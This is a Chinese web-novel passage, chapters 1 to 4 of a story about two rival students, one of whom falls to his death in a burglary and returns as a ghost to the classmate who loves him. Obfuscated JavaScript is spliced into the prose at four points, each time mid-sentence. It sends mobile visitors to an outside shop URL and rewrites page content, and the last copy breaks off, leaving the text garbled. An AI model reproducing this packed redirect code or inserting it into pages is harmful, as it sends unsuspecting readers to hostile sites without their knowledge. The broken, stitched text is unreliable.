《哥们,我变成鬼了》 1. 宿敌 高二。 期中成绩出来了。 江宵宵站在公告栏前,满怀希望地抬头,自己的名字依然挂在第二。 第一名:苏辞行。 “哎,校草又是第一,又帅又聪明,简直没天理。” “啧,咱校霸不是说这个月要反超吗?看来还是不行啊。” “嘘,小点声,别让他听见……” 江宵宵阴冷的眼神倏地扫过去,瞬间炸了毛:“你们他妈管好自己吧!当着我的面说风凉话?活腻了?” 几个人吓得一哆嗦,缩着脖子躲远了。 走廊尽头,苏辞行静静站着,目光落在远处那个张牙舞爪的男孩身上,连生气都这么可爱,像只被踩了尾巴的猫。 他不由得牵起嘴角,眼底漫开一丝笑意。 真可爱。 江宵宵感应到什么,恶狠狠地瞪了过去,眼神里的阴霾又重了几分,宿敌又在笑话他。 他这么拼命,熬夜刷题、放弃游戏、连最爱的机车都暂时搁置,就是为了有朝一日能把苏辞行从榜首拽下来。 只要拿到第一,老爸许诺的机车就到手了。 可从高一到高二,大小考试,他从未登顶。那个名字就像焊在了第一的位置上。 “操,烦死了。” —— 高三。 时间溜得飞快。 江宵宵对着又一次月考成绩单发愁,苏辞行稳坐第一,他依然是那个“万年老二”。 苏辞行踱步过来,在他桌边停下,声音温和,带着点不易察觉的促狭:“江宵宵,继续努力,再加把劲。” 江宵宵攥紧了拳头,指节发白:“行啊,你别嚣张。高考,我分数一定比你高,信不信?” 苏辞行微微倾身,压低声音:“我等你超越。” 他抬手,很轻地揉了一下江宵宵的发顶,“对了,你还记不记得,小学时你说过一句话?” “别碰我脑袋!” 江宵宵和苏辞行都是江城人,家离得不远,从小学起就同校,算是一起长大。 可偏偏性格南辕北辙,成了折磨对方的宿敌。 “我说过的话多了去了!起开——” 江宵宵烦躁地挥手想推开他。 苏辞行却顺势握住他的手腕,力道不重,却让人挣脱不开。 他望进江宵宵的眼睛,语气认真了几分:“你说,你将来要找的对象,一定要比你优秀。忘了?” 江宵宵是个铁直男,闻言只觉得莫名其妙,用力抽回手,挠了挠头:“干嘛?你要给我介绍对象?老子现在没空谈恋爱,让开。” 他一把推开苏辞行,头也不回地离开,满脑子还在盘算下次月考可能出什么刁钻题型。 苏辞行站在原地,脸上的笑意渐渐淡去。 他看着江宵宵消失在楼梯口的背影,想起一年级刚认识时,他们也曾是勾肩搭背的朋友。 后来,因为自己总是压他一头,江宵宵就单方面宣布绝交了。 可他明明说过,喜欢更优秀的人啊。自己还不够优秀吗?还是说……只因为他是男的? —— 电梯“叮”一声停在六楼。 江宵宵溜回家,把试卷紧紧藏在身后,绷着脸想快速溜回房间。刚踏上楼梯,书房里就传来低沉的声音: “去哪儿?” 江宵宵心里一咯噔,暗叫不好。他挤出一个笑脸,蹭到书房门口:“嘿嘿,亲爱的老爸,今天下班这么早?” 江誉为坐在书桌后,手里拿着报纸,镜片后的目光锐利而沉稳:“鬼鬼祟祟的,做什么?这次成绩怎么样?” “挺……挺好的。” “我看看。” 江誉为是大学教授,母亲金芸也是二中老师。 父母对他期望极高,管教严格,从小到大,他的课余时间几乎被各种补习填满。 江宵宵硬着头皮递上试卷:“年级第二。” 江誉为接过,一张张仔细翻看。他扶了扶镜框,两鬓的银丝在灯光下格外显眼。 “数学差12分满分。这道题型我上周才给你讲过,为什么又错?” 江宵宵低下头,声音闷闷的:“那天太累了,听着听着就睡着了,醒来忘了具体解法。没想到月考会考。” 江誉为眉头紧锁:“年级第一,还是隔壁小区的苏辞行?他比你高多少?” “……九分。” 江誉为放下试卷,语气带着失望与严厉。 他常被人恭维教学有方,可每当被问起儿子是否年级第一时,总是无言以对。这个“第二”,像根刺。 “去把错题和对应的知识点抄一百遍。” “哦。” 江宵宵抿了抿唇,还是忍不住问,“那……机车什么时候能买?” 江誉为猛地抬头,目光如炬:“你还想着机车?就凭这个成绩,拿不到全校第一,什么都别想!给我复习去!我年轻的时候高考730分,你就按这个目标考。” 江宵宵咬紧牙关,抓起试卷冲回房间,重重关上门。 满心的憋屈和怒火,似乎理所当然地迁怒到了苏辞行身上。 可冷静下来,他又泄了气。 “其实……也不全怪他。苏辞行就是厉害,过目不忘,脑子跟开了光似的。他明明能科科满分,平时还故意让着我几分……” “他真的好强。” “是个值得敬佩的人,还是我没本事……” 江宵宵烦躁地抓了抓头发,倒在床上,盯着天花板喃喃自语,“唉,他要是个女生,我可能就没这么大火了,说不定还挺喜欢……偏偏是个男的,长得还帅,家里又有钱……这以后要是上了同一所大学,岂不是处处被比下去?我还能找到女朋友吗?” - 时间匆匆而过。 高考来了。 父母的期望像无形的山,压在江宵宵肩上,必须考上江城市重点大学。 最后冲刺阶段,他压力巨大,频繁失眠,精神状态越来越差。 考场外,母亲金芸温柔地替他擦去额角的汗,鼓励道:“我们宵宵最棒了,这次肯定能拿个好名次,说不定是市第一呢?考好了,妈妈带你去挑最喜欢的机车。” 江宵宵勉强扯了扯嘴角,点点头。 走进考场大楼,在走廊拐角,迎面撞见了苏辞行。 苏辞行一眼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084474|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出他神色不对,关切地问:“脸色这么差,没事吧?没睡好吗?” 家里的事,江宵宵从不对外人说。父母都是体面人,邻居们也只知道江家有个成绩不错的儿子,没人清楚他承受的压力有多大。 江宵宵压下心头的烦闷,冲他竖起中指,语气却有点虚张声势:“等着,这次我一定赢你。” 苏辞行轻轻笑了。 他想,如果成为最顶尖的那个,站在足够耀眼的位置,江宵宵会不会……对他改观? 两人怀着各自的误会,走向不同的考场。 … 考场上,江宵宵握着笔,手心不断冒汗。 父母的叮嘱、期望的目光在脑海里轮番闪现。 如果考砸了……爸爸会多失望?他胃里一阵翻搅,头晕恶心,却只能强打精神,强迫自己专注于眼前的试题。 “同学,你脸色很不好,需要帮忙吗?”监考老师走过来,低声询问。 江宵宵摇摇头,声音发干:“没事……谢谢老师。” - 高考终于结束。 等待成绩的日子漫长而煎熬。江宵宵心里没底,把自己关在房间里,对父母精心准备的美食也提不起兴趣。 “儿子,别焦虑,你肯定考得很好。我们宝贝这么聪明,一定是第一。”金芸摸着他的头安慰。 第一,第一。 他们眼里好像只有第一。 江宵宵闭上眼,从小到大的画面涌上来,无止境的补习、做不完的习题、永远差一点的分数……他真的,已经很累了。 - 6月25日,放榜日。 苏辞行的名字引爆了全市,他以740分的惊人成绩,成为高考状元,还上了新闻,刷新了纪录。 江宵宵看着屏幕上那个刺眼的数字,整个人呆住了。 震惊远远超过了不甘。 原来,平时的差距,不过是对方退让的结果。 自己拼尽全力达到的705分,在真正的实力面前,显得如此苍白,虽然他也考上了重点大学,但是分数竟然差这么远。 他的高考成绩是全校第三,落后了,被后面的人超了。 他感到一种前所未有的挫败,以及心里的佩服。 愤怒混杂着复杂的情绪,江宵宵一个电话把苏辞行约了出来。 - 见面后。苏辞行看起来心情很好,甚至带着点期待:“恭喜啊宵宵,705分,重点大学稳了。我们可以一起读……” 话没说完,一记拳头结结实实砸在他脸上。 苏辞行捂住鼻子往后趔趄了两步,两个人都站在街道巷子里,彼此看了眼对方。 江宵宵揪着他的衣领,眼眶发红,声音因激动而颤抖:“你为什么要骗我?平时的月考,你从来没考过这么高的分!你一直在让我,故意写错题是不是?既然要让,为什么不干脆把第一让给我!!” 他喘着粗气,手上的力道却松了些,声音低了下去,带着自嘲:“对不起……我竟然……一直把你当对手,还对你那么大恶意……我真是个蠢货。” “苏辞行,你真的很优秀,我认输。” 2. 坠楼 江宵宵傻笑两声:“是我唐突,总是对你那么凶,看不起你。苏辞行,我这一拳,不是生气你赢了我。而是生气,你竟然欺骗我,平时故意给我让分。” “我好像只是你的玩物,每次想翻身、挣扎,却永远被你掌控在手心……你真是缺心眼儿。” 苏辞行皱眉:“不是的!宵宵,你听我解释……” 江宵宵气愤的不是对方考得太好,而是那种被“施舍”的感觉,是对方一直收敛实力,小心翼翼地维护他那可怜自尊的真相。 苏辞行平时的分数总控制在710分左右,没有拉开太大的差距,原来只是为了不让他太难堪。 苏辞行被他推得踉跄一步,他却没在意,反而趁势将江宵宵抵在巷子的墙壁上,双手按住他的肩膀,眼神灼热:“我这么做,只是想证明我很优秀,证明我足够好!现在我是全国第一,江宵宵,你对我的看法,有没有改变?” “我不是故意写错题,只是想让你有点信心,可以去努力,才能和我上同一所大学,对不起。” “谁想和你上同一所大学啊!又等着当个万年老二吗?” 江宵宵奋力挣扎,却发现自己完全被压制,离这么近干什么,苏辞行比他高,力气也大。 成绩比不过,打架也打不过,他真是菜鸡一个啊。 他别开脸,硬邦邦地吐出三个字:“我讨厌你。” 苏辞行身体一僵,手上的力道松懈了:“……讨厌?为什么……你明明说过喜欢优秀的……” 江宵宵没等他说完,用力推开他,头也不回地跑了。 苏辞行愣在原地,晚风吹过空荡的巷子。 不是说喜欢优秀的人吗? 江宵宵应该是讨厌同性恋吧…… 他是个理科天才,情商却直得可怜。他想不明白,自己已经做到了极致,为什么换来的却是讨厌。 江宵宵小时候明明亲口说过,喜欢优秀的人,越优秀越好。 他应该……喜欢自己才对啊。 - 一周后。 成绩公布那天,江宵宵因为没拿到第一,被父亲严厉责骂,让他面壁思过,母亲这次也没有帮他说话。 这么高的分数,老师都在夸他、同学也说厉害,偏偏父母永远满意不了。 他一气之下离家出走,躲到了外公外婆家。 一周过去,气消了些,又想回家拿笔记本电脑打打游戏,放松一下紧绷的神经。 走到家门口,他发现防盗门虚掩着。暑假父母应该在外面给人补课,这个时候家里怎么会有人? 一种不祥的预感袭来。江宵宵屏住呼吸,轻轻推开门—— 两个陌生男人正在客厅里翻箱倒柜,怀里抱着笔记本电脑、黄金首饰盒,手里还攥着几张银行卡和存折、身份证。 “操!光天化日入室抢劫?!”江宵宵正愁没地方撒火,顿时冲动了些。 那两个窃贼也吓了一跳,显然没料到这个时间会有人回来。 他们对视一眼,目露凶光,其中一人抄起桌上的烟灰缸就砸了过来。 江宵宵从小被逼着学了不少防身术,反应极快,侧身躲过,顺势一个箭步上前,抓住对方手腕就是一个利落的过肩摔! 另一人见状,挥拳扑上,三人顿时扭打在一起。 …… 另一边,苏辞行郁闷了整整一周。电话被拉黑,信息也不回,难道就因为高考成绩的事? 他按捺不住,还是找到了江宵宵家的小区,想当面道歉。 刚走到楼下,就发现不少人围在一起,对着楼上指指点点。 “快看!六楼那家是不是进贼了?在打架!” “那两个穿黑衣服的,是入室抢劫的人吧!” “我报警了!!” 苏辞行心里猛地一沉,抬头望去—— 只见六楼阳台边,江宵宵正被两个男人死死按住。刀疤脸男人用胳膊锁着他的脖子,另一人拿起手边的硬物狠狠砸向他的头部! 江宵宵毕竟是十七岁的学生,这两个小偷也有点身手,又高又大,打架有点吃力。 江宵宵吃痛,奋力挣扎,却被掐得呼吸困难,眼前阵阵发黑,快晕过去了…… 混乱中,他身体失控地向后仰去,悬在阳台外面,而掐着他脖子的窃贼恰在此时松了手—— “宵宵!!!” 在苏辞行目眦欲裂的嘶吼声中,那道身影如同断线的风筝,从六楼阳台边缘,直直坠落。 砰—— 一声闷响,砸在地上,似乎砸碎了周围所有的声音,瞬间变得寂静无比。 楼上的两个小偷也傻眼。 “你!你他妈有病啊!闹出人命了!为什么把他往窗户外面推!” “我……我没有啊!我以为他能抓住的……” 小区瞬间沸腾起来,那两个入室抢劫的小偷也放下所有值钱的东西,迅速逃到地下室开车准备逃跑,他们戴了面具,谁也看不清长什么样。 “宵宵!!” “宵宵!宵宵——” 苏辞行轻轻地把男孩翻过来,看清他苍白的脸,只觉心被狠狠攥紧。 江宵宵的额头上破开的口子深可见骨,鲜血不断涌出,蜿蜒过耳根。手臂软软垂着,膝盖处布料磨烂,露出底下血肉模糊的伤处,骨头怕是也折了。脸上的血一直在流,水泥地面被鲜血染红一片,清秀的五官失去血色。 “宵宵……你别吓我……睁开眼,看看我……” “宵宵……” 小区里围观的人群聚拢过来,惊呼声四起:“我的天……这男孩从楼上摔下来了?是602江教授家的孩子!” “快叫救护车!” “那两个凶手抓到了吗?” “门卫说有人撞断栏杆,警车已经去追了。” 苏辞行双手颤抖,男孩身体软绵绵的,体温逐渐变冷,双臂无力地后垂,胸腔怕是受了重创,鲜血从他嘴角不断溢出,染红了脖颈。 “宵宵!宵宵!!”苏辞行的声音嘶哑了,“江宵宵!你不准死!” “我还没告诉你……还没对你表白……我知道你讨厌我,我以后可以消失,但你别这样离开……” 江宵宵用尽最后一丝力气,艰难地掀开眼帘。 模糊的视线里,映出的竟是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084475|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张熟悉到令他牙痒的、宿敌的脸。 他在说什么?絮絮叨叨的。 苏辞行……居然是他来救了自己。 这个人啊,永远那么耀眼,优秀,家境优渥,心地还这么好。如果是个女孩,大概就是他梦想中最完美的伴侣了吧。 可惜…… “谢谢你……苏辞行……” 辞行辞行,这么有缘分的名字,竟然是来给他辞行的。 话音落下,江宵宵的手彻底垂落,满脸血污,呼吸停滞,头颅无力地歪进苏辞行怀中。 “宵宵!宵宵——!!!” “江宵宵!” 苏辞行大声嘶吼,恨不得直接让救护车飞过来。 他不停轻拍男孩的脸颊,徒劳地希望他能再撑一会儿。 江宵宵双目紧闭,头颅后仰,嘴角的血迹未干,额上那道狰狞的伤口裂开着,森白的骨茬隐约可见。 “宵宵……” 苏辞行颤抖着伸手探向他的鼻息,瞬间,如坠冰窟。 没有呼吸了。 江宵宵死了。 他真的死了…… 苏辞行的脑海里猛然闪过二年级时的画面。 刚转学来的自己被一群孩子围着推搡,那个才七岁的漂亮小孩,像颗小炮弹似的冲过来,几脚踹开那些霸凌者,昂着小脑袋,得意洋洋地说自己在学跆拳道。 那时父母忙于生意,常年空荡荡的家里,只有江宵宵会跑来跟他说话,把自己最宝贝的果丹皮分一半给他。 那种甜甜的零食,他的父母说是垃圾食品,从不让他碰。 上学时,江宵宵总是偷偷塞给他。 他曾无数次想过,怎样才能让江宵宵接受一个男孩子的喜欢。 直到听见江宵宵说,崇拜那些极其优秀的人。 于是苏辞行拼了命地努力,变得比所有人都优秀,以为这样就能被看见。 可如今…… 什么都来不及了。 江宵宵死了。 救护车刺耳的鸣笛由远及近,短短五分钟,却已无力回天。 江宵宵失去呼吸。医护人员迅速将他放上担架抬进去,心肺复苏、除颤仪……所有手段都用上了。 直到一名护士推了推呆立一旁的苏辞行:“你是患者朋友?快!通知他家属立刻到医院来!情况非常危险!” 苏辞行机械地点点头,目光死死锁在那微弱起伏的心电监护仪上。几次除颤后,竟然恢复了一丝微弱的波动。 他猛地回过神,手忙脚乱掏出手机,凭着儿时的记忆翻找出江誉为的号码,拨了过去。 — 第一人民医院。 江誉为搀扶着几乎站立不稳的妻子金芸赶到时,两人面色惨白如纸。 金芸看到苏辞行满身血迹,腿一软,全靠丈夫支撑才没倒下。 “宵宵……”她颤抖着嘴唇,目光涣散,“你是……苏辞行?宵宵的同学对不对?我儿子……我儿子他在哪儿……” 苏辞行喉结滚动,声音干涩:“……您家里今天进了两个戴面具的盗窃犯,像是有预谋,地下室还停了接应的车,警察正在追捕。” 3. 报仇鬼 “江宵宵他性子急,又正义感强,看到这种事不可能不管,搏斗的时候,他被推搡到阳台,失足从六楼摔了下来……” 金芸捂住嘴,泪水夺眶而出。她想起最后一次见面,竟是以激烈的争吵收场,儿子摔门离家出走。 江誉为也如遭重击。几天前岳父岳母还打电话说孩子住得开心,因为考上了重点大学。 夫妻俩想着,让他放松一下也好,过阵子总会回来。 如果最后的离别是争吵不休,他们将如何面对余生? 这是他们唯一的孩子,仅有的盼头啊。 金芸瘫跪在急救室门口,失声痛哭:“我不该逼他,不该说他考得差……如果我没跟他吵,他没离家,那些人怎么敢盯上我们家……” 苏辞行猛地抬头,满脸错愕:“批评他考得少?他考了705分,能上江城重点大学。怎么会说他考得少?” 江誉为沉默地低下头。 很快,江宵宵的外公外婆也踉跄着赶到。得知宝贝外孙出事,老人家的心碎了,对着江誉为和金芸又捶又打。 “江誉为!金芸!你们俩都是当老师的人,心怎么这么狠啊!” “宵宵回去前,我不是给你们发消息了吗?为什么不去接他?为什么不回家等他!” “就因为没考全校第一,连他心心念念的机车都不给买!他还跟我们说,等买了车,先放家里,成年了再骑,知道未成年不能上路……这么懂事的孩子……” 金芸任凭母亲的巴掌落在身上,哭得撕心裂肺,抱住老人:“妈……妈您别激动,我们知道错了…要是知道家里会进贼,我们说什么也会去接他啊……” 江誉为也直挺挺跪了下去:“爸,妈,对不起,是我把宵宵赶走的,是我嫌他没考第一,对他要求太苛刻……你们要打要骂,都冲我来。” 苏辞行怔怔地听着,瞬间明白了一切。 他真是个彻头彻尾的傻瓜。 竟然从未真正了解过江宵宵背负的压力。 原来他吊儿郎当的表象下,是那样刻苦地拼搏。 原来他每次争强好胜,不过是为了得到父母的一句认可,甚至仅仅是为了一辆机车。 他做了什么? 如果当初能在考试时稍稍让步,是不是就能成全一个小朋友的梦。 原来,那个看起来阳光开朗、像小太阳一样的人,心里藏着这么重的石头。 错了。全都错了。 他只是想激励宵宵,想和他在同一所大学相遇,却从未想过,自己施加的方法,成了压垮对方的又一根稻草。 “宵宵……对不起……” - 几个小时后,抢救室的灯灭了。 走出来的医生神情复杂,带着些许困惑。 江誉为立刻冲上前:“医生,我儿子怎么样?” 医生摇了摇头,语气沉重:“抱歉,我们尽力了。……病人的情况很特殊。心跳还在,但呈休克状态,类似植物人。奇怪的是……” 金芸颤声追问:“我儿子到底怎么样了?您直说吧……” 医生斟酌着开口:“病人可能会成为植物人。他伤势太重,颅骨骨折,肋骨断裂,血管破裂导致腹腔积血,心脏骤停时神经系统也受损了。目前只能待在ICU维持。而且……他已经停止了自主呼吸。” 江誉为和金芸听到“停止呼吸”四个字,同时倒退一步,几乎瘫软。 白发人送黑发人已是极致痛苦,更何况这悲剧竟源于他们自己。 医生接着道:“但是,停止了呼吸,却没有真正死亡。” 苏辞行一把抓住医生的袖子:“停止了呼吸却没死?什么意思?” “从医学上讲,呼吸停止会导致供氧中断,即使心跳暂时维持,也会很快因脑缺氧引起心脏最终停跳。可他的心脏却还在微弱跳动。这不符合医学常理,目前全国都没有类似记载。” “我们医院不敢继续接收了。等病情稍微稳定,建议你们转去更大的医院。但请做好心理准备,这种情况,恐怕维持不了多久……” 外婆听完,瘫倒在地,捶胸痛哭,后悔不该让孩子回家,哪怕多留一天也好。 外公老泪纵横:“这孩子,就是太要强,太善良了……他从小就爱打抱不平,他不是想拿回那些钱,他是想抓住坏人啊……” 苏辞行默默听着。他当然懂。但凡江宵宵冷漠一点、谨慎一点,看到窃贼时悄悄报警,就不会冲上去正面冲突。 他就是太热血,太想赢了。 - 三天过去了。 江宵宵仍在ICU,中间又经历两次抢救,依然没有自主呼吸,只有监测仪上那微弱到几乎看不见的心跳曲线。 医院承受着巨大的压力,再次要求转院。 江誉为动用人脉联系了三家大型医院,对方一听“无自主呼吸但心跳尚存”,都婉拒接收。 这超出了医学解释范畴,近乎“玄学”。 消息不知被谁传了出去,流言开始发酵。 有人说江宵宵其实已经脑死亡,是器官还未完全衰竭。 也有人说,是魂魄未散,执念太深,不肯离开。 事情越传越玄,没有医院愿意接手这个“烫手山芋”。 … 最后,是苏辞行站了出来:“我姑姑家经营一家私立医院,表哥是医生。虽然比不上顶级公立医院,但设备齐全。把宵宵送到那里去吧,至少……不会赶他走。” 江誉为紧紧握住苏辞行的手,感激涕零:“谢谢你上次救了宵宵,还把他送来医院……小苏,你是个好孩子,宵宵能考第二,我们本该知足的……” 苏辞行眉头紧蹙,语气是前所未有的严肃:“宵宵他很厉害。他高考本来也可以考得更好,是因为那天身体不适,强忍着呕吐完成的。他非常优秀。” “而我,并非天生聪明。我只是记忆力好,喜欢看书学习。热爱学习,和被迫学习,是两回事。我的父母从不强迫我,忙他们的生意,给我绝对的自由。” “是你们给的压力太大了,没人天生就该赢,我熬夜苦读,请最好的家教,付出不比谁少。可他的努力,你们看见了吗?” 江誉为听着,悔恨如潮水般将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084476|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他淹没。 如果时光能倒流,他一定给儿子更多的选择,让他自由生长。 金芸穿上隔离服,走进ICU。看着儿子苍白如纸的脸,身上插满的管子,她颤抖着手轻轻抚上他的脸颊,指尖感受不到丝毫气息。 她死死咬住嘴唇,压抑着崩溃的哭声。 “妈妈错了……宵宵……” “妈妈跟你道歉,对不起……你睁开眼,看看妈妈好不好……” 苏辞行站在门口,眼泪落了下来,难道只有失去后,人才懂得忏悔吗? 他自己何尝不是。 - 两个月后,大学开学。 苏辞行变得沉默寡言。别人打招呼,他只低头回应。父母知道挚友的事,陪了他一阵,却发现安慰毫无用处。 他越来越沉默,整日守在病房,一次次去试男孩的呼吸。 可除了仪器冰冷的波动,始终等不到那个人睁开眼睛。 表哥私下里也困惑,人没了呼吸就该走了,身体却迟迟不肯枯萎。 镇上偶有流言窃窃私语,说是那孩子死不瞑目,魂魄还困在身体里。 军训结束那晚,苏辞行回到宿舍,累得倒头躺下。 手机屏幕亮起,桌面照片刺进眼睛,是江宵宵的侧脸。 偷拍于某个写作业的午后,十七岁的少年笼在光里,皮肤很白,鼻梁挺秀,那双眼睛干净得不像话。 苏辞行从没用“漂亮”形容过男生,但江宵宵从小好看到耀眼,当年选校草,他也只多了一票。 眼泪毫无预兆滚下来。 宵宵,我好想你…… 我真的快疯了…… 夜渐深,另外两个室友还在外面吃宵夜。风声一阵紧过一阵,苏辞行在疲惫中沉沉睡去。 不知过了多久,他忽然喘不过气,脖子像被什么掐紧,身体动弹不得,冰冷的重压覆在身上。 鬼压床……? 他挣扎着睁开眼。 月光透过窗,映出身上一道白色透明的影子。熟悉的轮廓,熟悉的五官,正跨坐在他腰间,双手掐着他脖颈。 那人咧嘴一笑,声音轻飘飘的:“嘿嘿,晚上别睡太死啊。我回来了。” 苏辞行瞳孔骤缩,脱口而出:“鬼!!” 身上影子吓得一颤,“嗖”地钻进他被窝,传来闷闷的尖叫:“啊啊啊啊——救命啊!” 江宵宵是鬼,可能因为人还能看见他,所以被吓到。 苏辞行愣住了。 到底……谁是鬼? 这是梦吧,鬼怎么会怕人呢。 他试探着掀开被子。 那张脸白得近乎透明,在昏暗里却清晰无比。指尖颤抖着碰上去,触感冰凉,却实实在在是少年的轮廓。 “……宵宵?” 苏辞行声音发哽,害怕惊散一场梦。 “真的是你……他们说你不愿走……所以你才一直没醒,对不对?我又梦到你了。” 他攥住那只冰凉的手,垂下头时,目光虔诚而柔软,轻轻吻上手背,非常小心翼翼,生怕吓跑这只小鬼。 4. 炸毛鬼 苏辞行也只敢在梦里亲他,男孩哭着说:“你别走……我好想你,你回来吧,我再也不惹你生气了。” 江宵宵猛地抽回手,透明的脸上写满震惊与困惑:“苏辞行!你有病吗?!老子是你的死对头,你亲我干什么!” 这一嗓子彻底把苏辞行吼醒了。 太真实了。 这语气、这表情、这鲜活又熟悉的暴躁…… 他往后一退,跌坐在地上,后脑磕到地板。 疼痛清晰传来。 不是梦。 苏辞行惊恐万分:“我没有做梦?你……你是真的鬼魂?可是科学上来说,世界上不该存在鬼魂。” 江宵宵躲在被窝里气得鼓起脸颊:“本来想来个鬼压床吓吓你,谁知道你居然能看见我?我刚才掐你,你能感觉到吗?” 苏辞行点点头,抬手摸了摸脖子,那里还残留着冰凉的触感。 “你的手好冰。” 江宵宵低声嘟囔:“我都变成鬼了,当然是冰的啊。我好惨,摔成那样,头都破了……果然冲动是魔鬼。还以为能抓住那两个坏人,当个小英雄,回家爸妈还能夸我呢。” 苏辞行听着他熟悉的碎碎念,情不自禁地笑出声。那种熟悉的感觉太清晰,炸毛小猫回来了。 原来只要是自己喜欢的人,就算是鬼,也不会害怕。 苏辞行起身走回床边,重新钻进被窝,一把将江宵宵捞进怀里,低头在他额头上亲了亲:“你好凉。” 江宵宵瞪大眼睛,宿敌为什么要亲他? “等会儿等会儿!”江宵宵按住他的脑袋,“你为什么要亲我?你疯了吗?还是有病?” 苏辞行眯起眼睛笑,尽管怀里的人身体冰冷,他还是用力抱紧,开心地在他脸上蹭了蹭:“谢谢你回来找我,谢谢你没有离开。宵宵,就算你死了,变成鬼,我也愿意永远陪在你身边。” 江宵宵:“……啊?” 苏辞行又凑过去亲了亲他的脸,还轻轻咬了一下。小鬼居然“啊”地叫出声,难道鬼怕疼吗? 其实不是,是江宵宵被这种举动吓到叫出声。 江宵宵眼睛瞪得更圆了:“……这怎么听着像表白?” 苏辞行用力点头:“你不知道吗?我以为你心里有数。我那么努力,把自己变得优秀,拿到全国第一,就是为了让你心动、让你喜欢,这样我就能对你表白了啊。宵宵,我从小就喜欢你。” 江宵宵:“……” 我靠! 他终于想起来了。 小时候自己确实说过,以后要找的对象,一定要比自己优秀、比自己出色,还得颜值高。 难怪苏辞行一直要压他一头,搞了半天是两个人互相误会了? “所以……你总是故意压我一头,就是为了证明自己优秀,好让我心动?没有别的意思?不是故意嘲讽我?” 苏辞行立刻摇头,满脸无辜:“当然不是啊,我怎么会嘲讽你?我爱你都来不及。你离开之后……这两个月我快疯了,你没发现我眼睛都是肿的吗?每天睡觉前,看着你的照片就会哭……” 说到这里,苏辞行点亮手机屏幕,屏保上是江宵宵一张熟悉的侧脸照。他的眼泪又掉了下来,哭得伤心欲绝。 “宵宵……你摔下来的时候,一定很疼吧?” “对不起,我要是能早点赶过去就好了,对不起……” 江宵宵慌忙伸手给他擦眼泪。怎么回事,宿敌以前根本不是这样子的,居然还会掉眼泪? 疯了,真的疯了。 江宵宵凶他:“别哭了!我知道了我知道了,你喜欢我,你喜欢男人,你是同性恋。没人指责你,别哭了行不行?” 苏辞行止住眼泪,可怜巴巴地望着他,又把江宵宵搂进怀里紧紧抱住。 江宵宵烦躁地推开他:“你别碰我,我是直男。不对,我现在是直鬼,我喜欢的是女孩子。” 苏辞行的眼泪又开始往下掉,他轻声说:“你都没和女孩谈过恋爱,怎么知道不行?等我追到你,让你爱上我以后,你自然就会喜欢男生了,对吧?” 江宵宵:“……?” 这是什么逻辑。 “呵呵,你还挺自信。我是直鬼,不会被掰弯的,劝你死了这条心。” 再说,他现在都变成鬼了。 人鬼殊途。 苏辞行也清楚自己会被拒绝,但他还是把人搂在怀里:“没关系,我会慢慢追你。但是……宵宵,你别走好不好?” 江宵宵愣了愣。他走?还能走到哪里去呢? 苏辞行摸了摸他的头顶:“你快告诉我,怎么会变成现在这样的?为什么世界上会有鬼?” 江宵宵摇了摇头。变成鬼之后,他其实也挺害怕的,只有眼前这一个倾诉对象。白天怕光,只敢晚上出来。 “我摔下楼后,魂魄就离开了身体。救护车上的时候,好像又被拉了回去……然后有人牵着我的手,叫我别死,还有水滴在我身上,我就又回到身体里继续躺着。” “不知道怎么回事,醒过来的时候,我手上多了个印记,一直在森林里飘来飘去,每天晚上才敢出来,结果连回家的路都忘了……就这样找到了你。” “印记?”苏辞行抓起他冰冷的手,看见透明的手腕上,有三颗星星连成了一条线。 他越看越眼熟,从颈间掏出一块贴身佩戴的玉石吊坠,翻到背面,上面的图案正是三颗星星,被一条线串联在一起。 “这个……是我出生时就戴在身上的,叫福禄三星,寓意幸福、功名、平安,是我曾爷爷留下来的,还开过光。但一定要取名‘辞行’才能保佑我,所以我才叫苏辞行。” 江宵宵也惊奇地瞪大眼睛:“那天在救护车上,有很多水落在我脸上,我的身体就一直颤动,魂魄就这样回去了。” 苏辞行回忆那天,看到江宵宵被抢救过来,他哭得很厉害。 因为低着头,胸前的玉石应该正好悬垂晃动,眼泪浸湿了玉石,又滴落在江宵宵脸上,后来被护士强行推开。 “这么玄学吗……可我曾爷爷已经去世了,我该去问谁,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 